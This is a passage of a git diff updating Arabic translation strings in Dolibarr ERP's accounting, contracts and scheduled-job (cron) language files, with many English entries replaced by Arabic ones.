want to classify this social or fiscal tax as paid ? -ConfirmPayVAT=Are you sure you want to classify this VAT declaration as paid ? -ConfirmPaySalary=Are you sure you want to classify this salary card as paid? +PayVAT=دفع إقرار ضريبة القيمة المضافة +PaySalary=دفع بطاقة الراتب +ConfirmPaySocialContribution=هل أنت متأكد من أنك تريد تصنيف هذه الضريبة الاجتماعية أو الضريبية على أنها مدفوعة؟ +ConfirmPayVAT=هل أنت متأكد من أنك تريد تصنيف إقرار ضريبة القيمة المضافة هذا على أنه مدفوع؟ +ConfirmPaySalary=هل أنت متأكد أنك تريد تصنيف بطاقة الراتب هذه على أنها مدفوعة؟ DeleteSocialContribution=حذف دفع الضرائب الاجتماعي أو المالي -DeleteVAT=Delete a VAT declaration -DeleteSalary=Delete a salary card -ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? -ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +DeleteVAT=حذف إقرار ضريبة القيمة المضافة +DeleteSalary=حذف بطاقة الراتب +DeleteVariousPayment=احذف دفعة مختلفة +ConfirmDeleteSocialContribution=هل أنت متأكد من أنك تريد حذف مدفوعات الضرائب الاجتماعية / المالية؟ +ConfirmDeleteVAT=هل أنت متأكد أنك تريد حذف إقرار ضريبة القيمة المضافة هذا؟ +ConfirmDeleteSalary=هل أنت متأكد أنك تريد حذف هذا الراتب؟ +ConfirmDeleteVariousPayment=هل أنت متأكد أنك تريد حذف هذه المدفوعات المتنوعة؟ ExportDataset_tax_1=الضرائب والمدفوعات الاجتماعية والمالية CalcModeVATDebt=الوضع٪ SVAT بشأن المحاسبة الالتزام٪ الصورة. CalcModeVATEngagement=وضع SVAT٪ على مداخيل مصاريف٪ الصورة. -CalcModeDebt=Analysis of known recorded documents even if they are not yet accounted in ledger. -CalcModeEngagement=Analysis of known recorded payments, even if they are not yet accounted in Ledger. -CalcModeBookkeeping=Analysis of data journalized in Bookkeeping Ledger table. +CalcModeDebt=تحليل المستندات المسجلة المعروفة حتى لو لم يتم احتسابها بعد في دفتر الأستاذ. +CalcModeEngagement=تحليل المدفوعات المسجلة المعروفة ، حتى لو لم يتم احتسابها بعد في دفتر الأستاذ. +CalcModeBookkeeping=تحليل البيانات المسجلة في دفتر دفتر الأستاذ. CalcModeLT1= الوضع٪ زارة العلاقات الخارجية على فواتير العملاء - فواتير الموردين٪ الصورة CalcModeLT1Debt=الوضع٪ زارة العلاقات الخارجية على فواتير العملاء٪ الصورة CalcModeLT1Rec= الوضع٪ زارة العلاقات الخارجية على فواتير الموردين٪ الصورة @@ -163,53 +167,53 @@ CalcModeLT2Debt=وضع sIRPF٪ على فواتير العملاء٪ الصو CalcModeLT2Rec= وضع sIRPF٪ على فواتير الموردين٪ الصورة AnnualSummaryDueDebtMode=ميزان الإيرادات والمصروفات، ملخص سنوي AnnualSummaryInputOutputMode=ميزان الإيرادات والمصروفات، ملخص سنوي -AnnualByCompanies=Balance of income and expenses, by predefined groups of account -AnnualByCompaniesDueDebtMode=Balance of income and expenses, detail by predefined groups, mode %sClaims-Debts%s said Commitment accounting. -AnnualByCompaniesInputOutputMode=Balance of income and expenses, detail by predefined groups, mode %sIncomes-Expenses%s said cash accounting. -SeeReportInInputOutputMode=See %sanalysis of payments%s for a calculation based on recorded payments made even if they are not yet accounted in Ledger -SeeReportInDueDebtMode=See %sanalysis of recorded documents%s for a calculation based on known recorded documents even if they are not yet accounted in Ledger -SeeReportInBookkeepingMode=See %sanalysis of bookeeping ledger table%s for a report based on Bookkeeping Ledger table +AnnualByCompanies=ميزان الدخل والمصروفات حسب مجموعات الحساب المحددة مسبقا +AnnualByCompaniesDueDebtMode=ميزان الإيرادات والمصروفات ، التفاصيل حسب المجموعات المحددة مسبقًا ، الوضع %sClaims-Debts%s قال محاسبة الالتزام a09a4b739f. +AnnualByCompaniesInputOutputMode=ميزان الإيرادات والمصروفات ، التفاصيل حسب المجموعات المحددة مسبقًا ، الوضع %s الدخل - المصروفات %s قال المحاسبة النقدية a09a4b739. +SeeReportInInputOutputMode=راجع %s تحليل المدفوعات +SeeReportInDueDebtMode=راجع %s تحليل المستندات المسجلة +SeeReportInBookkeepingMode=راجع %s تحليل جدول دفتر الأستاذ لحراسة الدفاتر RulesAmountWithTaxIncluded=- المبالغ المبينة لمع جميع الضرائب المدرجة -RulesAmountWithTaxExcluded=- Amounts of invoices shown are with all taxes excluded -RulesResultDue=- It includes all invoices, expenses, VAT, donations, salaries, whether they are paid or not.
      - It is based on the billing date of invoices and on the due date for expenses or tax payments. For salaries, the date of end of period is used. -RulesResultInOut=- It includes the real payments made on invoices, expenses, VAT and salaries.
      - It is based on the payment dates of the invoices, expenses, VAT, donations and salaries. -RulesCADue=- It includes the customer's due invoices whether they are paid or not.
      - It is based on the billing date of these invoices.
      -RulesCAIn=- It includes all the effective payments of invoices received from customers.
      - It is based on the payment date of these invoices
      -RulesCATotalSaleJournal=It includes all credit lines from the Sale journal. -RulesSalesTurnoverOfIncomeAccounts=It includes (credit - debit) of lines for product accounts in group INCOME -RulesAmountOnInOutBookkeepingRecord=It includes record in your Ledger with accounting accounts that has the group "EXPENSE" or "INCOME" -RulesResultBookkeepingPredefined=It includes record in your Ledger with accounting accounts that has the group "EXPENSE" or "INCOME" -RulesResultBookkeepingPersonalized=It show record in your Ledger with accounting accounts grouped by personalized groups -SeePageForSetup=See menu %s for setup -DepositsAreNotIncluded=- Down payment invoices are not included +RulesAmountWithTaxExcluded=- مبالغ الفواتير المعروضة مع استبعاد جميع الضرائب +RulesResultDue=- تشمل جميع الفواتير والمصاريف وضريبة القيمة المضافة والتبرعات والرواتب سواء تم دفعها أم لا.
      - يعتمد على تاريخ فوترة الفواتير وتاريخ استحقاق المصروفات أو مدفوعات الضرائب. بالنسبة للرواتب ، يتم استخدام تاريخ انتهاء الفترة. +RulesResultInOut=- تشمل المدفوعات الحقيقية للفواتير والمصاريف وضريبة القيمة المضافة والرواتب.
      - يعتمد على تواريخ سداد الفواتير والمصاريف وضريبة القيمة المضافة والتبرعات والرواتب. +RulesCADue=- تشمل فواتير العميل المستحقة سواء تم دفعها أم لا.
      - يعتمد على تاريخ فوترة هذه الفواتير.
      +RulesCAIn=- يشمل جميع المدفوعات الفعلية للفواتير المستلمة من العملاء.
      - يعتمد على تاريخ دفع هذه الفواتير
      +RulesCATotalSaleJournal=يشمل جميع خطوط الائتمان من مجلة البيع. +RulesSalesTurnoverOfIncomeAccounts=يتضمن (دائن - مدين) خطوط لحسابات المنتجات في دخل المجموعة +RulesAmountOnInOutBookkeepingRecord=يتضمن سجلًا في دفتر الأستاذ الخاص بك مع حسابات المحاسبة التي تحتوي على مجموعة "المصروفات" أو "الدخل" +RulesResultBookkeepingPredefined=يتضمن سجلًا في دفتر الأستاذ الخاص بك مع حسابات المحاسبة التي تحتوي على مجموعة "المصروفات" أو "الدخل" +RulesResultBookkeepingPersonalized=يظهر السجل في دفتر الأستاذ الخاص بك مع حسابات المحاسبة مجمعة حسب المجموعات الشخصية +SeePageForSetup=انظر القائمة %s للإعداد +DepositsAreNotIncluded=- فواتير الدفعة المقدمة غير متضمنة DepositsAreIncluded=- Down payment invoices are included -LT1ReportByMonth=Tax 2 report by month -LT2ReportByMonth=Tax 3 report by month -LT1ReportByCustomers=Report tax 2 by third party -LT2ReportByCustomers=Report tax 3 by third party +LT1ReportByMonth=تقرير الضريبة 2 حسب الشهر +LT2ReportByMonth=تقرير الضريبة 3 حسب الشهر +LT1ReportByCustomers=تقرير الضريبة 2 من قبل طرف ثالث +LT2ReportByCustomers=تقرير الضريبة 3 من قبل طرف ثالث LT1ReportByCustomersES=تقرير RE طرف ثالث LT2ReportByCustomersES=تقرير من قبل طرف ثالث IRPF -VATReport=Sales tax report -VATReportByPeriods=Sales tax report by period -VATReportByMonth=Sales tax report by month -VATReportByRates=Sales tax report by rate -VATReportByThirdParties=Sales tax report by third party -VATReportByCustomers=Sales tax report by customer +VATReport=تقرير ضريبة المبيعات +VATReportByPeriods=تقرير ضريبة المبيعات حسب الفترة +VATReportByMonth=تقرير ضريبة المبيعات بالشهر +VATReportByRates=تقرير ضريبة المبيعات حسب المعدل +VATReportByThirdParties=تقرير ضريبة المبيعات من قبل طرف ثالث +VATReportByCustomers=تقرير ضريبة المبيعات من قبل العميل VATReportByCustomersInInputOutputMode=تقرير من ضريبة القيمة المضافة العملاء جمع ودفع -VATReportByQuartersInInputOutputMode=Report by Sales tax rate of the tax collected and paid -VATReportShowByRateDetails=Show details of this rate -LT1ReportByQuarters=Report tax 2 by rate -LT2ReportByQuarters=Report tax 3 by rate +VATReportByQuartersInInputOutputMode=تقرير عن معدل ضريبة المبيعات للضريبة المحصلة والمدفوعة +VATReportShowByRateDetails=عرض تفاصيل هذا المعدل +LT1ReportByQuarters=تقرير الضريبة 2 حسب المعدل +LT2ReportByQuarters=تقرير الضريبة 3 حسب المعدل LT1ReportByQuartersES=تقرير معدل RE LT2ReportByQuartersES=تقرير معدل IRPF -SeeVATReportInInputOutputMode=See report %sVAT collection%s for a standard calculation -SeeVATReportInDueDebtMode=See report %sVAT on debit%s for a calculation with an option on the invoicing -RulesVATInServices=- For services, the report includes the VAT of payments actually received or paid on the basis of the date of payment. -RulesVATInProducts=- For material assets, the report includes the VAT on the basis of the date of payment. -RulesVATDueServices=- For services, the report includes VAT of due invoices, paid or not, based on the invoice date. -RulesVATDueProducts=- For material assets, the report includes the VAT of due invoices, based on the invoice date. +SeeVATReportInInputOutputMode=انظر التقرير %s مجموعة ضريبة القيمة المضافة %s للحصول على حساب قياسي +SeeVATReportInDueDebtMode=انظر التقرير %sVAT on debit%s للحصول على حساب مع خيار في الفواتير +RulesVATInServices=- بالنسبة للخدمات ، يتضمن التقرير ضريبة القيمة المضافة للدفعات المستلمة أو المدفوعة بالفعل على أساس تاريخ الدفع. +RulesVATInProducts=- بالنسبة للأصول المادية ، يتضمن التقرير ضريبة القيمة المضافة على أساس تاريخ الدفع. +RulesVATDueServices=- بالنسبة للخدمات ، يتضمن التقرير ضريبة القيمة المضافة للفواتير المستحقة ، المدفوعة أم لا ، بناءً على تاريخ الفاتورة. +RulesVATDueProducts=- بالنسبة للأصول المادية ، يتضمن التقرير ضريبة القيمة المضافة للفواتير المستحقة ، بناءً على تاريخ الفاتورة. OptionVatInfoModuleComptabilite=ملاحظة : للحصول على الأصول المادية ، فإنه ينبغي استخدام تاريخ التسليم ليكون أكثر إنصافا. -ThisIsAnEstimatedValue=This is a preview, based on business events and not from the final ledger table, so final results may differ from this preview values +ThisIsAnEstimatedValue=هذه معاينة ، بناءً على أحداث العمل وليس من جدول دفتر الأستاذ النهائي ، لذلك قد تختلف النتائج النهائية عن قيم المعاينة هذه PercentOfInvoice=٪ ٪ / الفاتورة NotUsedForGoods=لا تستخدم على السلع ProposalStats=إحصاءات بشأن المقترحات @@ -230,28 +234,28 @@ Pcg_version=Chart of accounts models Pcg_type=نوع PCG Pcg_subtype=PCG النوع الفرعي InvoiceLinesToDispatch=خطوط الفاتورة لارسال -ByProductsAndServices=By product and service +ByProductsAndServices=حسب المنتج والخدمة RefExt=المرجع الخارجي -ToCreateAPredefinedInvoice=To create a template invoice, create a standard invoice, then, without validating it, click on button "%s". +ToCreateAPredefinedInvoice=لإنشاء نموذج فاتورة ، قم بإنشاء فاتورة قياسية ، ثم ، دون التحقق من صحتها ، انقر فوق الزر "%s". LinkedOrder=تصل إلى النظام Mode1=طريقة 1 Mode2=طريقة 2 CalculationRuleDesc=لحساب مجموع الضريبة على القيمة المضافة، هناك طريقتين:
      طريقة 1 والتقريب ضريبة القيمة المضافة في كل سطر، ثم ملخصا لها.
      طريقة 2 يتم تلخيص كل ضريبة القيمة المضافة في كل سطر، ثم التقريب النتيجة.
      النتيجة النهائية قد تختلف من بضعة سنتات. الوضع الافتراضي هو وضع الصورة٪. -CalculationRuleDescSupplier=According to vendor, choose appropriate method to apply same calculation rule and get same result expected by your vendor. -TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover collected per product is not available. This report is only available for turnover invoiced. -TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. +CalculationRuleDescSupplier=وفقًا للبائع ، اختر الطريقة المناسبة لتطبيق نفس قاعدة الحساب والحصول على نفس النتيجة التي يتوقعها البائع. +TurnoverPerProductInCommitmentAccountingNotRelevant=لا يتوفر تقرير الدوران الذي تم جمعه لكل منتج. هذا التقرير متاح فقط للدوران المفوتر. +TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=لا يتوفر تقرير رقم الأعمال المحصل لكل معدل ضريبة بيع. هذا التقرير متاح فقط للدوران المفوتر. CalculationMode=وضع الحساب -AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties -ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties -ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. -ConfirmCloneTax=Confirm the clone of a social/fiscal tax -ConfirmCloneVAT=Confirm the clone of a VAT declaration -ConfirmCloneSalary=Confirm the clone of a salary +AccountancyJournal=مجلة كود المحاسبة +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties +ACCOUNTING_ACCOUNT_CUSTOMER_Desc=سيتم استخدام حساب المحاسبة المخصص المحدد في بطاقة الطرف الثالث لمحاسبة Subledger فقط. سيتم استخدام هذا واحد لدفتر الأستاذ العام وكقيمة افتراضية لمحاسبة Subledger إذا لم يتم تحديد حساب محاسبة العميل المخصص على طرف ثالث. +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties +ACCOUNTING_ACCOUNT_SUPPLIER_Desc=سيتم استخدام حساب المحاسبة المخصص المحدد في بطاقة الطرف الثالث لمحاسبة Subledger فقط. سيتم استخدام هذا واحد لدفتر الأستاذ العام وكقيمة افتراضية لمحاسبة Subledger إذا لم يتم تحديد حساب محاسبة البائع المخصص على طرف ثالث. +ConfirmCloneTax=قم بتأكيد استنساخ الضريبة الاجتماعية / المالية +ConfirmCloneVAT=قم بتأكيد استنساخ إقرار ضريبة القيمة المضافة +ConfirmCloneSalary=تأكيد استنساخ الراتب CloneTaxForNextMonth=استنساخ لشهر المقبل SimpleReport=تقرير بسيط AddExtraReport=Extra reports (add foreign and national customer report) @@ -265,36 +269,37 @@ ImportDataset_tax_vat=Vat payments ErrorBankAccountNotFound=Error: Bank account not found FiscalPeriod=Accounting period ListSocialContributionAssociatedProject=List of social contributions associated with the project -DeleteFromCat=Remove from accounting group -AccountingAffectation=Accounting assignment -LastDayTaxIsRelatedTo=Last day of period the tax is related to -VATDue=Sale tax claimed -ClaimedForThisPeriod=Claimed for the period -PaidDuringThisPeriod=Paid for this period -PaidDuringThisPeriodDesc=This is the sum of all payments linked to VAT declarations which have an end-of-period date in the selected date range -ByVatRate=By sale tax rate -TurnoverbyVatrate=Turnover invoiced by sale tax rate -TurnoverCollectedbyVatrate=Turnover collected by sale tax rate -PurchasebyVatrate=Purchase by sale tax rate +DeleteFromCat=إزالة من مجموعة المحاسبة +AccountingAffectation=مهمة المحاسبة +LastDayTaxIsRelatedTo=آخر يوم في الفترة التي تتعلق بها الضريبة +VATDue=مطالبة بضريبة البيع +ClaimedForThisPeriod=ادعى عن الفترة +PaidDuringThisPeriod=دفعت لهذه الفترة +PaidDuringThisPeriodDesc=هذا هو مجموع جميع المدفوعات المرتبطة بإقرارات ضريبة القيمة المضافة التي لها تاريخ نهاية الفترة في النطاق الزمني المحدد +ByVatRate=حسب معدل ضريبة البيع +TurnoverbyVatrate=معدل دوران بفاتورة معدل ضريبة البيع +TurnoverCollectedbyVatrate=حجم المبيعات المحصلة عن طريق معدل ضريبة البيع +PurchasebyVatrate=الشراء حسب معدل ضريبة البيع LabelToShow=التسمية قصيرة -PurchaseTurnover=Purchase turnover -PurchaseTurnoverCollected=Purchase turnover collected -RulesPurchaseTurnoverDue=- It includes the supplier's due invoices whether they are paid or not.
      - It is based on the invoice date of these invoices.
      -RulesPurchaseTurnoverIn=- It includes all the effective payments of invoices done to suppliers.
      - It is based on the payment date of these invoices
      -RulesPurchaseTurnoverTotalPurchaseJournal=It includes all debit lines from the purchase journal. -RulesPurchaseTurnoverOfExpenseAccounts=It includes (debit - credit) of lines for product accounts in group EXPENSE -ReportPurchaseTurnover=Purchase turnover invoiced -ReportPurchaseTurnoverCollected=Purchase turnover collected -IncludeVarpaysInResults = Include various payments in reports -IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) -InvoiceNotLate = To be collected (< 15 days) -InvoiceNotLate15Days = To be collected (15 to 30 days) -InvoiceNotLate30Days = To be collected (> 30 days) -InvoiceToPay=To pay (< 15 days) -InvoiceToPay15Days=To pay (15 to 30 days) -InvoiceToPay30Days=To pay (> 30 days) -ConfirmPreselectAccount=Preselect accountancy code -ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +PurchaseTurnover=معدل دوران الشراء +PurchaseTurnoverCollected=جمع دوران الشراء +RulesPurchaseTurnoverDue=- تشمل فواتير المورد المستحقة سواء تم دفعها أم لا.
      - يعتمد على تاريخ فاتورة هذه الفواتير.
      +RulesPurchaseTurnoverIn=- يشمل جميع عمليات السداد الفعلية للفواتير التي تم إجراؤها للموردين.
      - يعتمد على تاريخ دفع هذه الفواتير
      +RulesPurchaseTurnoverTotalPurchaseJournal=يتضمن جميع بنود الخصم من دفتر يومية الشراء. +RulesPurchaseTurnoverOfExpenseAccounts=يتضمن (مدين - دائن) خطوط لحسابات المنتجات في نفقات المجموعة +ReportPurchaseTurnover=فاتورة دوران الشراء +ReportPurchaseTurnoverCollected=جمع دوران الشراء +IncludeVarpaysInResults = تضمين المدفوعات المختلفة في التقارير +IncludeLoansInResults = تضمين القروض في التقارير +InvoiceLate30Days = متأخر (> 30 يومًا) +InvoiceLate15Days = متأخر (15 إلى 30 يومًا) +InvoiceLateMinus15Days = متأخر (أقل من 15 يومًا) +InvoiceNotLate = يتم تحصيلها (أقل من 15 يومًا) +InvoiceNotLate15Days = يتم تحصيلها (من 15 إلى 30 يومًا) +InvoiceNotLate30Days = يتم تحصيلها (> 30 يومًا) +InvoiceToPay=للدفع (<15 يومًا) +InvoiceToPay15Days=للدفع (من 15 إلى 30 يومًا) +InvoiceToPay30Days=للدفع (> 30 يومًا) +ConfirmPreselectAccount=حدد رمز المحاسبة مسبقًا +ConfirmPreselectAccountQuestion=هل أنت متأكد أنك تريد التحديد المسبق للأسطر المحددة %s برمز الحساب هذا؟ +AmountPaidMustMatchAmountOfDownPayment=يجب أن يتطابق المبلغ المدفوع مع مبلغ الدفعة المقدمة diff --git a/htdocs/langs/ar_SA/contracts.lang b/htdocs/langs/ar_SA/contracts.lang index 03dda40210d..21b6939f7e9 100644 --- a/htdocs/langs/ar_SA/contracts.lang +++ b/htdocs/langs/ar_SA/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=العقود / الاشتراكات ContractsAndLine=العقود و بنود العقود Contract=العقد ContractLine=بند العقد +ContractLines=خطوط العقد Closing=جار الإغلاق NoContracts=لا توجد عقود MenuServices=الخدمات @@ -36,7 +37,7 @@ CloseAContract=إغلاق العقد ConfirmDeleteAContract=هل انت متأكد من رغبتك في حذف هذا العقد وجميع خدماته ؟ ConfirmValidateContract=هل انت متأكد من رغبتك بتأكيد العقد المسمى %s ؟ ConfirmActivateAllOnContract=سيتم تفعيل جميع الخدمات (غير المفعلة بعد) . هل انت متأكد من رغبتك في تفعيل جميع الخدمات ؟ -ConfirmCloseContract=This will close all services (expired or not). Are you sure you want to close this contract? +ConfirmCloseContract=سيؤدي هذا إلى إغلاق جميع الخدمات (منتهية الصلاحية أم لا). هل أنت متأكد أنك تريد إغلاق هذا العقد؟ ConfirmCloseService=هل انت متأكد من رغبتك بإغلاق الخدمة بتاريخ %s ؟ ValidateAContract=تصديق العقد ActivateService=تفعيل الخدمة @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=هل انت متأكد من رغبتك بحذف بند MoveToAnotherContract=نقل الخدمة الى عقد اخر ConfirmMoveToAnotherContract=لقد اخترت عقد جدبد للخدمة و اود نقل هذه الخدمة الى العقد الجديد ConfirmMoveToAnotherContractQuestion=إختر ايأ من العقود الموجودة (لنفس الطرف الثالث) ، والتي تود نقل هذه الخدمة لها ؟ -PaymentRenewContractId=تجديد بند العقد (رقم %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=تاريخ الانتهاء NoExpiredServices=الخدمات المفعلة غير المنتهية ListOfServicesToExpireWithDuration=قائمة الخدمات المنتهية خلال %s ايام @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=جهة إتصال توقيع العق HideClosedServiceByDefault=إخفاء الخدمات المغلقة إبتداءاً ShowClosedServices=إظهار الخدمات المغلقة HideClosedServices=إخفاء الخدمات المغلقة +UserStartingService=خدمة بدء المستخدم +UserClosingService=خدمة إغلاق المستخدم diff --git a/htdocs/langs/ar_SA/cron.lang b/htdocs/langs/ar_SA/cron.lang index eb03a59b91e..0243d7ca6c7 100644 --- a/htdocs/langs/ar_SA/cron.lang +++ b/htdocs/langs/ar_SA/cron.lang @@ -7,16 +7,16 @@ Permission23103 = حذف مهمة مجدولة Permission23104 = تنفيذ مهمة مجدولة # Admin CronSetup=من المقرر إعداد إدارة العمل -URLToLaunchCronJobs=URL to check and launch qualified cron jobs from a browser -OrToLaunchASpecificJob=Or to check and launch a specific job from a browser +URLToLaunchCronJobs=عنوان URL للتحقق من وظائف cron المؤهلة وإطلاقها من المستعرض +OrToLaunchASpecificJob=أو للتحقق من وظيفة معينة وإطلاقها من متصفح KeyForCronAccess=مفتاح أمان للURL لإطلاق كرون الوظائف -FileToLaunchCronJobs=Command line to check and launch qualified cron jobs +FileToLaunchCronJobs=سطر الأوامر للتحقق من وظائف cron المؤهلة وإطلاقها CronExplainHowToRunUnix=على بيئة يونكس يجب عليك استخدام دخول كرونتاب التالي لتشغيل سطر الأوامر كل 5 دقائق -CronExplainHowToRunWin=On Microsoft(tm) Windows environment you can use Scheduled Task tools to run the command line each 5 minutes +CronExplainHowToRunWin=في بيئة Microsoft (tm) Windows ، يمكنك استخدام أدوات المهام المجدولة لتشغيل سطر الأوامر كل 5 دقائق CronMethodDoesNotExists=Class %s does not contains any method %s -CronMethodNotAllowed=Method %s of class %s is in blacklist of forbidden methods -CronJobDefDesc=Cron job profiles are defined into the module descriptor file. When module is activated, they are loaded and available so you can administer the jobs from the admin tools menu %s. -CronJobProfiles=List of predefined cron job profiles +CronMethodNotAllowed=الطريقة %s للفئة %s موجودة في القائمة السوداء للطرق المحظورة +CronJobDefDesc=يتم تعريف ملفات تعريف وظائف Cron في ملف واصف الوحدة. عند تنشيط الوحدة النمطية ، يتم تحميلها وإتاحتها حتى تتمكن من إدارة الوظائف من قائمة أدوات المسؤول %s. +CronJobProfiles=قائمة ملفات تعريف وظائف كرون المحددة مسبقًا # Menu EnabledAndDisabled=Enabled and disabled # Page list @@ -26,7 +26,7 @@ CronCommand=أمر CronList=المهام المجدولة CronDelete=حذف المهام المجدولة CronConfirmDelete=Are you sure you want to delete these scheduled jobs? -CronExecute=Launch scheduled job +CronExecute=Launch now CronConfirmExecute=Are you sure you want to execute these scheduled jobs now? CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. CronTask=وظيفة @@ -43,11 +43,11 @@ CronModule=وحدة CronNoJobs=أي وظيفة سجلت CronPriority=الأولوية CronLabel=ملصق -CronNbRun=Number of launches -CronMaxRun=Maximum number of launches +CronNbRun=عدد عمليات الإطلاق +CronMaxRun=العدد الأقصى لعمليات الإطلاق CronEach=كل JobFinished=العمل بدأ وانتهى -Scheduled=Scheduled +Scheduled=المقرر #Page card CronAdd= إضافة وظائف CronEvery=العمل كل تنفيذ @@ -57,35 +57,44 @@ CronSaveSucess=Save successfully CronNote=التعليق CronFieldMandatory=الحقول%s إلزامي CronErrEndDateStartDt=تاريخ نهاية لا يمكن أن يكون قبل تاريخ البدء -StatusAtInstall=Status at module installation -CronStatusActiveBtn=Schedule +StatusAtInstall=الحالة عند تثبيت الوحدة +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=يعطل -CronTaskInactive=This job is disabled (not scheduled) +CronTaskInactive=هذه الوظيفة معطلة (غير مجدولة) CronId=هوية شخصية CronClassFile=Filename with class -CronModuleHelp=Name of Dolibarr module directory (also work with external Dolibarr module).
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for module is
      product -CronClassFileHelp=The relative path and file name to load (path is relative to web server root directory).
      For example to call the fetch method of Dolibarr Product object htdocs/product/class/product.class.php, the value for class file name is
      product/class/product.class.php -CronObjectHelp=The object name to load.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for class file name is
      Product -CronMethodHelp=The object method to launch.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for method is
      fetch -CronArgsHelp=The method arguments.
      For example to call the fetch method of Dolibarr Product object /htdocs/product/class/product.class.php, the value for paramters can be
      0, ProductRef +CronModuleHelp=اسم دليل وحدة Dolibarr (يعمل أيضًا مع وحدة Dolibarr الخارجية).
      على سبيل المثال لاستدعاء طريقة الجلب الخاصة بـ Dolibarr Product object / htdocs / product /class/product.class.php ، قيمة الوحدة النمطية هي
      a049271e81833 +CronClassFileHelp=المسار النسبي واسم الملف المراد تحميله (المسار مرتبط بالدليل الجذر لخادم الويب).
      على سبيل المثال لاستدعاء طريقة الجلب لكائن منتج Dolibarr htdocs / product / class / product.class.php ، قيمة اسم ملف الفئة هي
      a049271e8181 +CronObjectHelp=اسم الكائن المراد تحميله.
      على سبيل المثال لاستدعاء طريقة الجلب لكائن Dolibarr Product /htdocs/product/class/product.class.php ، قيمة اسم ملف الفئة هي
      المنتج +CronMethodHelp=طريقة الكائن لبدء.
      على سبيل المثال لاستدعاء طريقة الجلب لكائن منتج Dolibarr /htdocs/product/class/product.class.php ، قيمة الطريقة هي
      fetch +CronArgsHelp=حجج الطريقة.
      على سبيل المثال لاستدعاء طريقة الجلب لكائن Dolibarr Product /htdocs/product/class/product.class.php ، يمكن أن تكون قيمة المعلمات
      0 ، ProductRef CronCommandHelp=سطر الأوامر لتنفيذ النظام. CronCreateJob=إنشاء مهمة مجدولة جديدة CronFrom=من عند # Info # Common CronType=نوع العمل -CronType_method=Call method of a PHP Class +CronType_method=طريقة استدعاء فئة PHP CronType_command=الأمر Shell -CronCannotLoadClass=Cannot load class file %s (to use class %s) -CronCannotLoadObject=Class file %s was loaded, but object %s was not found into it -UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - Scheduled jobs" to see and edit scheduled jobs. +CronCannotLoadClass=لا يمكن تحميل ملف الفئة %s (لاستخدام الفئة %s) +CronCannotLoadObject=تم تحميل ملف الفئة %s ، ولكن لم يتم العثور على الكائن %s فيه +UseMenuModuleToolsToAddCronJobs=اذهب إلى القائمة " الصفحة الرئيسية - أدوات الإدارة - الوظائف المجدولة " لرؤية الوظائف المجدولة وتحريرها. JobDisabled=تعطيل وظيفة MakeLocalDatabaseDumpShort=Local database backup -MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep +MakeLocalDatabaseDump=إنشاء تفريغ قاعدة بيانات محلية. المعلمات هي: الضغط ("gz" أو "bz" أو "لا شيء") ، نوع النسخ الاحتياطي ("mysql" ، "pgsql" ، "تلقائي") ، 1 ، "تلقائي" أو اسم الملف المراد إنشاؤه ، عدد ملفات النسخ الاحتياطي المطلوب الاحتفاظ بها +MakeSendLocalDatabaseDumpShort=إرسال نسخة احتياطية من قاعدة البيانات المحلية +MakeSendLocalDatabaseDump=إرسال نسخة احتياطية لقاعدة البيانات المحلية عن طريق البريد الإلكتروني. المعلمات هي: إلى ، من ، الموضوع ، الرسالة ، اسم الملف (اسم الملف المرسل) ، عامل التصفية ('sql' للنسخ الاحتياطي لقاعدة البيانات فقط) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. -DATAPOLICYJob=Data 